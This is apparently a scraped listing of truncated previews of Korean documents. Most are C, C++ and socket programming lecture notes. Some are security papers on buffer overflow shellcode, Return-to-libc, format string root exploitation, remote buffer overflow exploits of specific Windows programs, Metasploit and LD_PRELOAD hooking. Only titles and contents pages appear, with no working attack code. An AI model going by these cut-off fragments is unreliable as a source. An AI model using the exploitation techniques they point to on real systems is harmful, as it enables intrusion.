C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include
More information목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단
기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4
More information[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi
2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,
More information커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서
커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드
More information금오공대 컴퓨터공학전공 강의자료
C 프로그래밍프로젝트 Chap 13. 포인터와배열! 함께이해하기 2013.10.02. 오병우 컴퓨터공학과 13-1 포인터와배열의관계 Programming in C, 정재은저, 사이텍미디어. 9 장참조 ( 교재의 13-1 은읽지말것 ) 배열이름의정체 배열이름은 Compile 시의 Symbol 로서첫번째요소의주소값을나타낸다. Symbol 로서컴파일시에만유효함 실행시에는메모리에잡히지않음
More informationMicrosoft PowerPoint - chap02-C프로그램시작하기.pptx
#include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의
More information설계란 무엇인가?
금오공과대학교 C++ 프로그래밍 jhhwang@kumoh.ac.kr 컴퓨터공학과 황준하 6 강. 함수와배열, 포인터, 참조목차 함수와포인터 주소값의매개변수전달 주소의반환 함수와배열 배열의매개변수전달 함수와참조 참조에의한매개변수전달 참조의반환 프로그래밍연습 1 /15 6 강. 함수와배열, 포인터, 참조함수와포인터 C++ 매개변수전달방법 값에의한전달 : 변수값,
More information<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>
기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)
More informationReturn-to-libc
Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.
More informationMicrosoft PowerPoint - chap10-함수의활용.pptx
#include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 중 값에 의한 전달 방법과
More information<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>
리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1
More informationPowerPoint Presentation
객체지향프로그래밍 클래스, 객체, 메소드 ( 실습 ) 손시운 ssw5176@kangwon.ac.kr 예제 1. 필드만있는클래스 텔레비젼 2 예제 1. 필드만있는클래스 3 예제 2. 여러개의객체생성하기 4 5 예제 3. 메소드가추가된클래스 public class Television { int channel; // 채널번호 int volume; // 볼륨 boolean
More informationPowerPoint 프레젠테이션
Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐
More informationMicrosoft PowerPoint - additional01.ppt [호환 모드]
1.C 기반의 C++ part 1 함수 오버로딩 (overloading) 디폴트매개변수 (default parameter) 인-라인함수 (in-line function) 이름공간 (namespace) Jong Hyuk Park 함수 Jong Hyuk Park 함수오버로딩 (overloading) 함수오버로딩 (function overloading) C++ 언어에서는같은이름을가진여러개의함수를정의가능
More informationRHEV 2.2 인증서 만료 확인 및 갱신
2018/09/28 03:56 1/2 목차... 1 인증서 확인... 1 인증서 종류와 확인... 4 RHEVM CA... 5 FQDN 개인 인증서... 5 레드햇 인증서 - 코드 서명 인증서... 6 호스트 인증... 7 참고사항... 8 관련링크... 8 AllThatLinux! - http://allthatlinux.com/dokuwiki/ rhev_2.2_
More information11장 포인터
누구나즐기는 C 언어콘서트 제 9 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 메모리의구조 변수는메모리에저장된다. 메모리는바이트단위로액세스된다. 첫번째바이트의주소는 0, 두번째바이트는 1, 변수와메모리
More informationFrama-C/JESSIS 사용법 소개
Frama-C 프로그램검증시스템소개 박종현 @ POSTECH PL Frama-C? C 프로그램대상정적분석도구 플러그인구조 JESSIE Wp Aorai Frama-C 커널 2 ROSAEC 2011 동계워크샵 @ 통영 JESSIE? Frama-C 연역검증플러그인 프로그램분석 검증조건추출 증명 Hoare 논리에기초한프로그램검증도구 사용법 $ frama-c jessie
More informationMicrosoft PowerPoint - 12 ¼ÒÄÏÀ» ÀÌ¿ëÇÑ Åë½Å 1.ppt
12 장 소켓을이용한통신 (1) 함수 - inet_addr - inet_ntoa - socket - bind - listen - accept - connect - recv -send 1 서론 파이프를사용하여통신을하기위한시스템호출 / 표준라이브러리함수 함수 의미 inet_addr 문자열형태의인터넷주소를바이너리형태로변환한다. inet_ntoa 바이너리형태의인터넷주소를문자열형태로변환한다.
More informationThe Pocket Guide to TCP/IP Sockets: C Version
인터넷프로토콜 5 장 데이터송수신 (3) 1 파일전송메시지구성예제 ( 고정크기메시지 ) 전송방식 : 고정크기 ( 바이너리전송 ) 필요한전송정보 파일이름 ( 최대 255 자 => 255byte 의메모리공간필요 ) 파일크기 (4byte 의경우최대 4GB 크기의파일처리가능 ) 파일내용 ( 가변길이, 0~4GB 크기 ) 메시지구성 FileName (255bytes)
More information취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환
취약점분석보고서 [Photodex ProShow Producer v5.0.3256] 2012-07-24 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Photodex ProShow Producer Buffer Overflow 취약점분석... 2 2.1. Photodex ProShow Producer Buffer
More informationMicrosoft PowerPoint - 13 ¼ÒÄÏÀ» ÀÌ¿ëÇÑ Åë½Å 2.ppt
13 장소켓을이용한통신 (2) 소켓을이용한통신 (2) 함수 - recvfrom - sendto - uname - gethostname - gethostbyname - gethostbyaddr 1 1. 서론 소켓을사용하여비연결형모델로통신을하기위한함수와그외의함수 함수 의미 recvfrom 비연결형모델에서소켓을통해메시지를수신한다. sendto 비연결형모델에서소켓을통해메시지를송신한다.
More informationComputer Security Chapter 08. Format String 김동진 1 Secure Software Lab.
Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,
More informationÀ©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾
P a 02 r t Chapter 4 TCP Chapter 5 Chapter 6 UDP Chapter 7 Chapter 8 GUI C h a p t e r 04 TCP 1 3 1 2 3 TCP TCP TCP [ 4 2] listen connect send accept recv send recv [ 4 1] PC Internet Explorer HTTP HTTP
More information취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환
취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit 2012-07-19 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Simple Web Server 취약점... 2 2.1. Simple Web Server 취약점개요... 2 2.2. Simple
More informationMicrosoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]
Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)
More informationMicrosoft PowerPoint - chap01-C언어개요.pptx
#include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을
More information쉽게 풀어쓴 C 프로그래밍
제 3 장함수와문자열 1. 함수의기본적인개념을이해한다. 2. 인수와매개변수의개념을이해한다. 3. 함수의인수전달방법 2가지를이해한다 4. 중복함수를이해한다. 5. 디폴트매개변수를이해한다. 6. 문자열의구성을이해한다. 7. string 클래스의사용법을익힌다. 이번장에서만들어볼프로그램 함수란? 함수선언 함수호출 예제 #include using
More informationPowerPoint Presentation
Package Class 3 Heeseung Jo 목차 section 1 패키지개요와패키지의사용 section 2 java.lang 패키지의개요 section 3 Object 클래스 section 4 포장 (Wrapper) 클래스 section 5 문자열의개요 section 6 String 클래스 section 7 StringBuffer 클래스 section
More informationMicrosoft PowerPoint - chap06-1Array.ppt
2010-1 학기프로그래밍입문 (1) chapter 06-1 참고자료 배열 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 배열의선언과사용 같은형태의자료형이많이필요할때배열을사용하면효과적이다. 배열의선언 배열의사용 배열과반복문 배열의초기화 유연성있게배열다루기 한빛미디어
More informationMicrosoft PowerPoint - chap13-입출력라이브러리.pptx
#include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,
More informationSecure Programming Lecture1 : Introduction
Malware and Vulnerability Analysis Lecture1 Malware Analysis #1 Agenda 악성코드정적분석 악성코드분석 악성코드정적분석 정적분석 임의의코드또는응용프로그램을실행하지않고분석 ASCII 문자열 (ex. URL) API 리스트 Packing VT 기타등등 정적분석 : 파일식별 악성으로의심되는파일의형태식별 file
More information01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO
01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example
More informationgdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이
gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이나왔다한다. Debugging을하는가장원초적방법은프로그램소스를눈으로따라가며, 머리로실행시켜논리적오류를찾아내는것이다.
More informationOCW_C언어 기초
초보프로그래머를위한 C 언어기초 2 장 : C 프로그램시작하기 2012 년 이은주 학습목표 을작성하면서 C 프로그램의구성요소 주석 (comment) 이란무엇인지알아보고, 주석을만드는방법 함수란무엇인지알아보고, C 프로그램에반드시필요한 main 함수 C 프로그램에서출력에사용되는 printf 함수 변수의개념과변수의값을입력받는데사용되는 scanf 함수 2 목차 프로그램코드
More informationMicrosoft Word - PLC제어응용-2차시.doc
과정명 PLC 제어응용차시명 2 차시. 접점명령 학습목표 1. 연산개시명령 (LOAD, LOAD NOT) 에대하여설명할수있다. 2. 직렬접속명령 (AND, AND NOT) 에대하여설명할수있다. 3. 병렬접속명령 (OR, OR NOT) 에대하여설명할수있다. 4.PLC의접점명령을가지고간단한프로그램을작성할수있다. 학습내용 1. 연산개시명령 1) 연산개시명령 (LOAD,
More information설계란 무엇인가?
금오공과대학교 C++ 프로그래밍 jhhwang@kumoh.ac.kr 컴퓨터공학과 황준하 5 강. 배열, 포인터, 참조목차 배열 포인터 C++ 메모리구조 주소연산자 포인터 포인터연산 배열과포인터 메모리동적할당 문자열 참조 1 /20 5 강. 배열, 포인터, 참조배열 배열 같은타입의변수여러개를하나의변수명으로처리 int Ary[10]; 총 10 개의변수 : Ary[0]~Ary[9]
More informationPowerPoint 프레젠테이션
실습 1 배효철 th1g@nate.com 1 목차 조건문 반복문 System.out 구구단 모양만들기 Up & Down 2 조건문 조건문의종류 If, switch If 문 조건식결과따라중괄호 { 블록을실행할지여부결정할때사용 조건식 true 또는 false값을산출할수있는연산식 boolean 변수 조건식이 true이면블록실행하고 false 이면블록실행하지않음 3
More informationPowerPoint Presentation
#include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을작성하면서 C 프로그램의구성요소에대하여알아본다.
More information리눅스 취약점대응방안권고 / KISA 취약점점검팀 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE 지정, 도메인네임을
리눅스 취약점대응방안권고 15. 01. 29 / KISA 취약점점검팀 15. 01. 30 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE-2015-0235 지정, 도메인네임을 IP로변환하는기능이포함된서비스 ( 메일, 웹등 ) 들은해당취약점에영향을받을수있음 취약점상세분석
More informationMicrosoft PowerPoint - ch07 - 포인터 pm0415
2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자
More informationLevel 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard
Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting
More informationMicrosoft PowerPoint - 04-UDP Programming.ppt
Chapter 4. UDP Dongwon Jeong djeong@kunsan.ac.kr http://ist.kunsan.ac.kr/ Dept. of Informatics & Statistics 목차 UDP 1 1 UDP 개념 자바 UDP 프로그램작성 클라이언트와서버모두 DatagramSocket 클래스로생성 상호간통신은 DatagramPacket 클래스를이용하여
More informationvi 사용법
네트워크프로그래밍 6 장과제샘플코드 - 1:1 채팅 (udp 버전 ) 과제 서버에서먼저 bind 하고그포트를다른사람에게알려줄것 클라이언트에서알려준포트로접속 서로간에키보드입력을받아상대방에게메시지전송 2 Makefile 1 SRC_DIR =../../common 2 COM_OBJS = $(SRC_DIR)/addressUtility.o $(SRC_DIR)/dieWithMessage.o
More information제1장 Unix란 무엇인가?
1 12 장파이프 2 12.1 파이프 파이프원리 $ who sort 파이프 3 물을보내는수도파이프와비슷 한프로세스는쓰기용파일디스크립터를이용하여파이프에데이터를보내고 ( 쓰고 ) 다른프로세스는읽기용파일디스크립터를이용하여그파이프에서데이터를받는다 ( 읽는다 ). 한방향 (one way) 통신 파이프생성 파이프는두개의파일디스크립터를갖는다. 하나는쓰기용이고다른하나는읽기용이다.
More informationLab 3. 실습문제 (Single linked list)_해답.hwp
Lab 3. Singly-linked list 의구현 실험실습일시 : 2009. 3. 30. 담당교수 : 정진우 담당조교 : 곽문상 보고서제출기한 : 2009. 4. 5. 학과 : 학번 : 성명 : 실습과제목적 : 이론시간에배운 Singly-linked list를실제로구현할수있다. 실습과제내용 : 주어진소스를이용해 Singly-linked list의각함수를구현한다.
More informationAPI STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum
API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 2012.11.23 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Document Distribution Copy Number Name(Role, Title) Date
More information본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo
본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasploit Framework(MSF) 이란? bluearth in N@R 2003년오픈소스로발표된취약점발견및공격을위한
More informationC# Programming Guide - Types
C# Programming Guide - Types 최도경 lifeisforu@wemade.com 이문서는 MSDN 의 Types 를요약하고보충한것입니다. http://msdn.microsoft.com/enus/library/ms173104(v=vs.100).aspx Types, Variables, and Values C# 은 type 에민감한언어이다. 모든
More informationMicrosoft Word - Crackme 15 from Simples 문제 풀이_by JohnGang.docx
CrackMe 15.exe (in Simples) 문제풀이 동명대학교정보보호동아리 THINK www.mainthink.net 강동현 Blog: johnghb.tistory.com e-mail: cari2052@gmail.com 1 목차 : 1. 문제설명및기본분석 --------------------------- P. 03 2 상세분석 ---------------------------
More information1. auto_ptr 다음프로그램의문제점은무엇인가? void func(void) int *p = new int; cout << " 양수입력 : "; cin >> *p; if (*p <= 0) cout << " 양수를입력해야합니다 " << endl; return; 동적할
15 장기타주제들 auto_ptr 변환함수 cast 연산자에의한명시적형변환실행시간타입정보알아내기 (RTTI) C++ 프로그래밍입문 1. auto_ptr 다음프로그램의문제점은무엇인가? void func(void) int *p = new int; cout > *p; if (*p
More information목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2
제 8 장. 포인터 목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 포인터의개요 포인터란? 주소를변수로다루기위한주소변수 메모리의기억공간을변수로써사용하는것 포인터변수란데이터변수가저장되는주소의값을 변수로취급하기위한변수 C 3 포인터의개요 포인터변수및초기화 * 변수데이터의데이터형과같은데이터형을포인터 변수의데이터형으로선언 일반변수와포인터변수를구별하기위해
More information<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >
10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절
More informationA Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning
C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용
More informationA Hierarchical Approach to Interactive Motion Editing for Human-like Figures
단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct
More informationMicrosoft PowerPoint - chap06-5 [호환 모드]
2011-1 학기프로그래밍입문 (1) chapter 06-5 참고자료 변수의영역과데이터의전달 박종혁 Tel: 970-6702 Email: jhpark1@seoultech.ac.kr h k 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- ehanbit.net 자동변수 지금까지하나의함수안에서선언한변수는자동변수이다. 사용범위는하나의함수내부이다. 생존기간은함수가호출되어실행되는동안이다.
More information10.
10. 10.1 10.2 Library Routine: void perror (char* str) perror( ) str Error 0 10.3 10.3 int fd; /* */ fd = open (filename, ) /*, */ if (fd = = -1) { /* */ } fcnt1 (fd, ); /* */ read (fd, ); /* */ write
More informationUI TASK & KEY EVENT
T9 & AUTOMATA 2007. 3. 23 PLATFORM TEAM 정용학 차례 T9 개요 새로운언어 (LDB) 추가 T9 주요구조체 / 주요함수 Automata 개요 Automata 주요함수 추후세미나계획 질의응답및토의 T9 ( 2 / 30 ) T9 개요 일반적으로 cat 이라는단어를쓸려면... 기존모드 (multitap) 2,2,2, 2,8 ( 총 6번의입력
More informationLinux Binary Hardening with Glibc Hyeonho Seo
Linux Binary Hardening with Glibc Hyeonho Seo About Me 서현호(Hyeonho Seo) KDMHS 재학 중인 파릇한(?) 고등학 생 게임/팀플 빼고는 우분투만 사용 관심 분야는 상당히 잡식성 POSIX System Hacking Linux Kernel Programming Network Protocol C, Modern
More information임베디드시스템설계강의자료 6 system call 1/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과
임베디드시스템설계강의자료 6 system call 1/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 시스템호출개요 리눅스에서는사용자공간과커널공간을구분 사용자프로그램은사용자모드, 운영체제는커널모드에서수행 커널공간에대한접근은커널 ( 특권, priviledged) 모드에서가능 컴퓨팅자원 (CPU, memory, I/O 등 ) 을안전하게보호 커널수행을안전하게유지
More informationAdobe Flash 취약점 분석 (CVE-2012-0754)
기술문서 14. 08. 13. 작성 GNU C library dynamic linker $ORIGIN expansion Vulnerability Author : E-Mail : 윤지환 131ackcon@gmail.com Abstract 2010 년 Tavis Ormandy 에 의해 발견된 취약점으로써 정확한 명칭은 GNU C library dynamic linker
More informationvi 사용법
유닉스프로그래밍및실습 gdb 사용법 fprintf 이용 단순디버깅 확인하고자하는코드부분에 fprintf(stderr, ) 를이용하여그지점까지도달했는지여부와관심있는변수의값을확인 여러유형의단순한문제를확인할수있음 그러나자세히살펴보기위해서는디버깅툴필요 int main(void) { int count; long large_no; double real_no; init_vars();
More informationPowerPoint Presentation
Class - Property Jo, Heeseung 목차 section 1 클래스의일반구조 section 2 클래스선언 section 3 객체의생성 section 4 멤버변수 4-1 객체변수 4-2 클래스변수 4-3 종단 (final) 변수 4-4 멤버변수접근방법 section 5 멤버변수접근한정자 5-1 public 5-2 private 5-3 한정자없음
More informationMicrosoft Word - 3부A windows 환경 IVF + visual studio.doc
Visual Studio 2005 + Intel Visual Fortran 9.1 install Intel Visual Fortran 9.1 intel Visual Fortran Compiler 9.1 만설치해서 DOS 모드에서실행할수있지만, Visual Studio 2005 의 IDE 를사용하기위해서는 Visual Studio 2005 를먼저설치후 Integration
More information11장 포인터
Dynamic Memory and Linked List 1 동적할당메모리의개념 프로그램이메모리를할당받는방법 정적 (static) 동적 (dynamic) 정적메모리할당 프로그램이시작되기전에미리정해진크기의메모리를할당받는것 메모리의크기는프로그램이시작하기전에결정 int i, j; int buffer[80]; char name[] = data structure"; 처음에결정된크기보다더큰입력이들어온다면처리하지못함
More information기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈
기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈 binoopang@is119.jnu.ac.kr Abstract libc에서제공하는 API를후킹해본다. 물론이방법을사용하면다른라이브러리에서제공하는 API들도후킹할수있다. 여기서제시하는방법은리눅스후킹에서가장기본적인방법이될것이기때문에후킹의워밍업이라고생각하고읽어보자 :D Content 1.
More informationMicrosoft PowerPoint - e pptx
Import/Export Data Using VBA Objectives Referencing Excel Cells in VBA Importing Data from Excel to VBA Using VBA to Modify Contents of Cells 새서브프로시저작성하기 프로시저실행하고결과확인하기 VBA 코드이해하기 Referencing Excel Cells
More informationChapter #01 Subject
Device Driver March 24, 2004 Kim, ki-hyeon 목차 1. 인터럽트처리복습 1. 인터럽트복습 입력검출방법 인터럽트방식, 폴링 (polling) 방식 인터럽트서비스등록함수 ( 커널에등록 ) int request_irq(unsigned int irq, void(*handler)(int,void*,struct pt_regs*), unsigned
More informationISP and CodeVisionAVR C Compiler.hwp
USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler http://www.avrmall.com/ November 12, 2007 Copyright (c) 2003-2008 All Rights Reserved. USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler
More information슬라이드 1
Computer Networks Practice Socket 1 DK Han Junghwan Song dkhan@mmlab.snu.ac.kr jhsong@mmlab.snu.ac.kr 2012-3-26 Multimedia and Mobile communications Laboratory Introduction Client / Server model Server
More information08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP st
08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP struct Find BROP Proof of concept Example code Test server
More informationOCW_C언어 기초
초보프로그래머를위한 C 언어기초 4 장 : 연산자 2012 년 이은주 학습목표 수식의개념과연산자및피연산자에대한학습 C 의알아보기 연산자의우선순위와결합방향에대하여알아보기 2 목차 연산자의기본개념 수식 연산자와피연산자 산술연산자 / 증감연산자 관계연산자 / 논리연산자 비트연산자 / 대입연산자연산자의우선순위와결합방향 조건연산자 / 형변환연산자 연산자의우선순위 연산자의결합방향
More informationC 프로그래밊 개요
함수 (2) 2009 년 9 월 24 일 김경중 공지사항 10 월 1 일목요일수업휴강 숙제 #1 마감 : 10 월 6 일화요일 기초 함수를만들어라! 입력 함수 ( 기능수행 ) 반환 사용자정의함수 정의 : 사용자가자신의목적에따라직접작성한함수 함수의원형 (Function Prototype) + 함수의본체 (Function Body) : 함수의원형은함수에대한기본적정보만을포함
More informationMicrosoft PowerPoint - Supplement-02-Socket Overview.ppt [호환 모드]
소켓개요 참고문헌 : 컴퓨터네트워크프로그래밍, 김화종, 홍릉과학출판사 Socket 정의 Socket 은 Transport 계층 (TCP 나 UDP) 을이용하는 API 1982 년 BSD 유닉스 41 에서처음소개 윈도우즈의경우 Winsock 제공 JAVA 또한 Socket 프로그래밍을위한클래스제공 Socket Interface 의위치 5-7 (Ses, Pre,
More informationMicrosoft PowerPoint - Java7.pptx
HPC & OT Lab. 1 HPC & OT Lab. 2 실습 7 주차 Jin-Ho, Jang M.S. Hanyang Univ. HPC&OT Lab. jinhoyo@nate.com HPC & OT Lab. 3 Component Structure 객체 (object) 생성개념을이해한다. 외부클래스에대한접근방법을이해한다. 접근제어자 (public & private)
More information게시판 스팸 실시간 차단 시스템
오픈 API 2014. 11-1 - 목 차 1. 스팸지수측정요청프로토콜 3 1.1 스팸지수측정요청프로토콜개요 3 1.2 스팸지수측정요청방법 3 2. 게시판스팸차단도구오픈 API 활용 5 2.1 PHP 5 2.1.1 차단도구오픈 API 적용방법 5 2.1.2 차단도구오픈 API 스팸지수측정요청 5 2.1.3 차단도구오픈 API 스팸지수측정결과값 5 2.2 JSP
More information